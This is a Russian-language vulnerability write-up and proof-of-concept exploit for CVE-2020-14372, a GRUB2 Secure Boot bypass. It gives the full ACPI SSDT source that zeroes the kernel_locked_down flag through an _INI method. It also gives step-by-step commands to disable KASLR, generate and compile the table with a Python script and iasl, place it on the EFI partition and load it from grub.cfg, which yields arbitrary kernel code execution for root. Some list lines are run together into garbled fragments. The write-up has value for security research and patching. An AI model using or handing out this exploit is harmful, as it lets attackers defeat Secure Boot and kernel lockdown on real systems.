
Эксплойт Proof-of-concept и описание для CVE-2020-14372, демонстрирующие обход Secure Boot с помощью вредоносного ACPI SSDT для отключения блокировки ядра и выполнения произвольного кода.
Однажды я ввел «help» в консоли GRUB2 и увидел несколько действительно «забавных» команд:
Я сразу подумал, что нашел самый забавный способ обхода Secure Boot, но эти команды выводят следующее при включенном Secure Boot:
error: Secure Boot forbids loading module .../memrw.mod.
Из любопытства, загрузившись таким образом, я ввел команду «acpi», и она вывела сообщение об использовании, сообщающее, что нужно указать ей файл AML. Хорошо известно, что другое название ACPI — это «механизм для выполнения произвольного кода от поставщика в контексте вашего ядра». Поскольку мы можем загружать таблицы ACPI с включенным Secure Boot, мы и есть тот «поставщик», который может предоставить этот код.
Но поскольку в сегменте данных загруженного ядра есть однобайтовый флаг (kernel_locked_down), который сообщает, «заблокировано» ли оно, мы можем просто перезаписать этот флаг с помощью SSDT и позволить ядру загружать произвольные модули.
Следующий SSDT достигает этого путем создания объекта «battery» с именем HACK
и выполнения записи в методе _INI этого объекта, который всегда выполняется
ядром:
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
{
LKDN, 32
}
Device (\_SB_.HACK)
{
Name(_HID, EisaId ("PNP0C0A"))
Name(_UID, 0x02)
Method(_INI)
{
If (LKDN)
{
LKDN = Zero
}
}
}
}
Я написал proof of concept эксплойт на Python, который помогает с генерацией этого SSDT, но выполнение эксплойта вручную тоже не так уж сложно. Примерный план выглядит следующим образом:
nokaslr в командную строку ядраkernel_locked_down после загрузки
без KASLRiaslПредположения:
root-доступ к работающей операционной системеКогда вышеуказанные предположения выполнены, отредактируйте /etc/default/grub, добавьте nokaslr
в GRUB_CMDLINE_LINUX_DEFAULT, выполните update-grub и, наконец, перезагрузитесь.
После загрузки ядра без рандомизации адресного пространства
скрипт genssdt.py можно использовать для генерации «вредоносного» SSDT, который исправит
память ядра во время выполнения, чтобы отключить блокировку:
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml
Теперь, когда SSDT создан, файл конфигурации GRUB
(обычно /boot/grub/grub.cfg) необходимо отредактировать, чтобы GRUB загрузил этот SSDT
(добавив это в начало этого файла):
acpi (hd0,gpt1)/evil_ssdt.aml
В зависимости от того, где находится системный раздел EFI (куда мы поместили SSDT выше)
на диске, (hd0,gpt1) возможно, потребуется заменить на что-то другое.
Наконец, после перезагрузки блокировка ядра должна быть отключена, что даст root
возможность выполнять произвольный код в ядре.